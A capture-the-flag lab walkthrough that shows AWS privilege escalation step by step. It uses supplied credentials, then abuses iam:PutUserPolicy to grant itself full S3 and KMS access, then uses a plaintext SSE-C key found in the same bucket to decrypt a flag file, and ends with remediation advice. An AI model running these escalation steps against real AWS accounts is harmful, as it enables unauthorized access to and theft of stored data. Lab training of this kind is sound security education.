Skip to content

KeyMaster - Decoding S3 Secrets Walkthrough

Lab Name: KeyMaster - Decoding S3 Secrets
Platform: Infinity Learning

In this Secure Corp lab, we assess the company’s backup storage for misconfigurations in AWS Key Management Service (KMS) and S3.

The environment contains IAM users, policies, S3 buckets, and KMS keys. Our goal is to use those weaknesses to retrieve the flag from an S3 object.

  • Gain initial access using provided credentials.
  • Enumerate IAM permissions to understand user capabilities.
  • Identify permission boundaries and escalate privileges within the allowed scope.
  • Read the S3 objects and distinguish KMS permissions from the customer-provided key needed for SSE-C.
  • Retrieve the hidden flag from the S3 Bucket.

AWS-Red-KMS-01-Attack-FLow

Output
Access Key ID: [REDACTED_AWS_ACCESS_KEY_ID]
Secret Access Key: [REDACTED_AWS_SECRET_ACCESS_KEY]

Configure the AWS CLI with the stolen credentials to establish a session.

Terminal window
aws configure --profile s3-secrets
Output
AWS Access Key ID [None]: [REDACTED_AWS_ACCESS_KEY_ID]
AWS Secret Access Key [None]: [REDACTED_AWS_SECRET_ACCESS_KEY]
Default region name [None]: us-east-1
Default output format [None]: json
  • A specific profile s3-secrets is created to keep this engagement isolated from default AWS credentials.

We verify the user identity and account context.

Terminal window
aws sts get-caller-identity --profile s3-secrets
Output
{
"UserId": "[REDACTED_AWS_USERID]",
"Account": "058264439561",
"Arn": "arn:aws:iam::058264439561:user/BackupReader1"
}
  • Authentication as the user BackupReader1 is successful.

We list inline policies, which are embedded directly into the user.

Terminal window
aws iam list-user-policies --user-name BackupReader1 --profile s3-secrets
Output
{
"PolicyNames": [
"admin-policy",
"FullAccessPolicy",
"KMSFullAccessPolicy",
"S3FullAccessAllBuckets",
"S3KMSBackupAccess",
"test-policy"
]
}

We list managed policies, which are standalone policies attached to the user.

Terminal window
aws iam list-attached-user-policies --user-name BackupReader1 --profile s3-secrets
Output
{
"AttachedPolicies": [
{
"PolicyName": "UserPolicy",
"PolicyArn": "arn:aws:iam::058264439561:policy/UserPolicy"
}
]
}

We inspect the user metadata for a permissions boundary.

Terminal window
aws iam get-user --profile s3-secrets
Output
{
"User": {
"Path": "/",
"UserName": "BackupReader1",
"UserId": "[REDACTED_AWS_USERID]",
"Arn": "arn:aws:iam::058264439561:user/BackupReader1",
"CreateDate": "2024-09-24T11:13:38+00:00",
"PermissionsBoundary": {
"PermissionsBoundaryType": "Policy",
"PermissionsBoundaryArn": "arn:aws:iam::058264439561:policy/PermissionBoundaryPolicy"
},
"Tags": [
{
"Key": "AllowSelfAssignS3KMS",
"Value": "true"
}
]
}
}
  • The user has a permissions boundary (PermissionBoundaryPolicy), which limits the permissions the user can have without granting any itself. The tag AllowSelfAssignS3KMS is set to “true”, giving us a lead for escalation.

3. Checking Inline and Attached Policy permissions

Section titled “3. Checking Inline and Attached Policy permissions”

Check if the Permissions Boundary allows granting additional administrative rights.

Retrieving the policy details for the boundary.

Terminal window
aws iam get-policy --policy-arn arn:aws:iam::058264439561:policy/PermissionBoundaryPolicy --profile s3-secrets
Output
{
"Policy": {
"PolicyName": "PermissionBoundaryPolicy",
"PolicyId": "ANPAQ3EGUZMEQVY32A5L4",
"Arn": "arn:aws:iam::058264439561:policy/PermissionBoundaryPolicy",
"Path": "/",
"DefaultVersionId": "v3",
"AttachmentCount": 0,
"PermissionsBoundaryUsageCount": 1,
"IsAttachable": true,
"Description": "Permission boundary for the IAM user",
"CreateDate": "2024-09-24T11:13:35+00:00",
"UpdateDate": "2025-05-28T08:01:14+00:00",
"Tags": []
}
}

We read the JSON document for version v3 of the permissions boundary.

Terminal window
aws iam get-policy-version --policy-arn arn:aws:iam::058264439561:policy/PermissionBoundaryPolicy --version-id v3 --profile s3-secrets
Output
{
"PolicyVersion": {
"Document": {
"Statement": [
{
"Action": [
"s3:ListBucket",
"s3:GetObject"
],
"Effect": "Allow",
"Resource": [
"arn:aws:s3:::securecopbakupbuk1",
"arn:aws:s3:::securecopbakupbuk1/*"
]
},
{
"Action": [
"kms:Decrypt"
],
"Effect": "Allow",
"Resource": "arn:aws:kms:us-east-1:058264439561:key/a7a251b3-c889-4dd1-9176-931c207c33d5"
},
{
"Action": [
"iam:GetUser",
"iam:ListUserPolicies",
"iam:ListAttachedUserPolicies",
"iam:GetPolicy",
"iam:GetPolicyVersion"
],
"Effect": "Allow",
"Resource": [
"arn:aws:iam::058264439561:user/BackupReader1",
"arn:aws:iam::058264439561:policy/PermissionBoundaryPolicy",
"arn:aws:iam::058264439561:policy/UserPolicy"
]
},
{
"Action": [
"iam:PutUserPolicy"
],
"Effect": "Allow",
"Resource": "arn:aws:iam::058264439561:user/BackupReader1"
}
],
"Version": "2012-10-17"
},
"VersionId": "v3",
"IsDefaultVersion": true,
"CreateDate": "2025-05-28T08:01:14+00:00"
}
}

The boundary sets an upper limit. A separate identity policy must also allow iam:PutUserPolicy before the user can change an inline policy. Effective access depends on both policy layers and any explicit denies; the boundary grants nothing by itself.

Exploit the PutUserPolicy permission to grant full access to the target S3 bucket and KMS key.

Create a file named policy.json with the following content:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"s3:*"
],
"Resource": [
"arn:aws:s3:::securecopbakupbuk1",
"arn:aws:s3:::securecopbakupbuk1/*"
]
},
{
"Effect": "Allow",
"Action": "kms:*",
"Resource": "arn:aws:kms:us-east-1:058264439561:key/a7a251b3-c889-4dd1-9176-931c207c33d5"
}
]
}

Update the existing inline policy KMSFullAccessPolicy with the new permissions.

Terminal window
aws iam put-user-policy --user-name BackupReader1 --policy-name KMSFullAccessPolicy --policy-document file://policy.json --profile s3-secrets

The update adds the requested S3 and KMS permissions within the boundary’s limits. The successful object reads below demonstrate the resulting access; an accepted policy update alone would not prove full control.

List the bucket contents and retrieve files.

Terminal window
aws s3 ls s3://securecopbakupbuk1/ --profile s3-secrets
Output
PRE .BurpSuite/
2024-09-24 16:49:10 411 Hospital+Patient+Records.zip
2024-09-24 16:48:40 411 env.txt
2024-09-24 16:43:42 113 key.txt
Terminal window
aws s3 cp s3://securecopbakupbuk1/key.txt . --profile s3-secrets
Output
download: s3://securecopbakupbuk1/key.txt to ./key.txt
  • Downloaded key.txt (This file appears to be unencrypted or uses standard encryption that is accessible).

Inspect the contents of the downloaded key file.

Terminal window
strings key.txt
Output
sse-customer-key= [REDACTED_SSE_C_KEY]
sse-customer-key-md5= [REDACTED_SSE_C_KEY_MD5]
  • The file key.txt contained raw encryption keys for SSE-C (Server-Side Encryption with Customer-Provided Keys). These specific keys must be used to decrypt the other files in the bucket.

Supply the recovered SSE-C key to download env.txt. S3 uses that customer-provided key for this object; kms:Decrypt alone cannot decrypt an SSE-C object.

AWS changed the default SSE-C setting in April 2026. New general-purpose buckets, and existing buckets in accounts without SSE-C objects, block new SSE-C writes by default. That write restriction does not change how an existing SSE-C object is decrypted. Recreating this older lab may require deliberate bucket configuration. Keep the customer key separate from the object and use HTTPS for requests carrying it.

We use s3api get-object because s3 cp requires different syntax for SSE-C. We pass the algorithm, key, and MD5 hash from the previous step as arguments.

Terminal window
aws s3api get-object --bucket securecopbakupbuk1 --key env.txt ./env.txt --sse-customer-algorithm AES256 --sse-customer-key [REDACTED_SSE_C_KEY] --sse-customer-key-md5 [REDACTED_SSE_C_KEY_MD5] --profile s3-secrets

Read the decrypted file to reveal the flag.

Terminal window
cat env.txt
Output
# AWS KMS Key Challenge Environment Variables
AWS_ACCESS_KEY_ID=your-access-key-id
AWS_SECRET_ACCESS_KEY=your-secret-access-key
AWS_REGION=us-west-2
# S3 Bucket Information
S3_BUCKET_NAME=securecorp-kms-bucket
S3_KEY_FILE=key.txt
S3_BACKUP_LOGS=backup_logs
S3_BACKUP_DATA=backup_data
# KMS Key Information
KMS_KEY_ID=your-kms-key-id
# Challenge Flag
Output
FLAG=[REDACTED_FLAG]
  1. The user could call iam:PutUserPolicy, and the boundary permitted the extra access being granted. A permissions boundary limits identity policies; it does not grant permissions.
  2. The decryption keys (sse-customer-key) were stored in plaintext in key.txt, in the same bucket as the encrypted data.
  • Remove iam:PutUserPolicy from standard user roles. Have a central administrator or CI/CD pipeline handle policy updates.
  • Store keys separately from the data they protect. Use AWS Secrets Manager or restrict access through KMS policies instead of storing raw SSE-C keys in S3.
  • Limit PermissionBoundaryPolicy to the actions the user needs.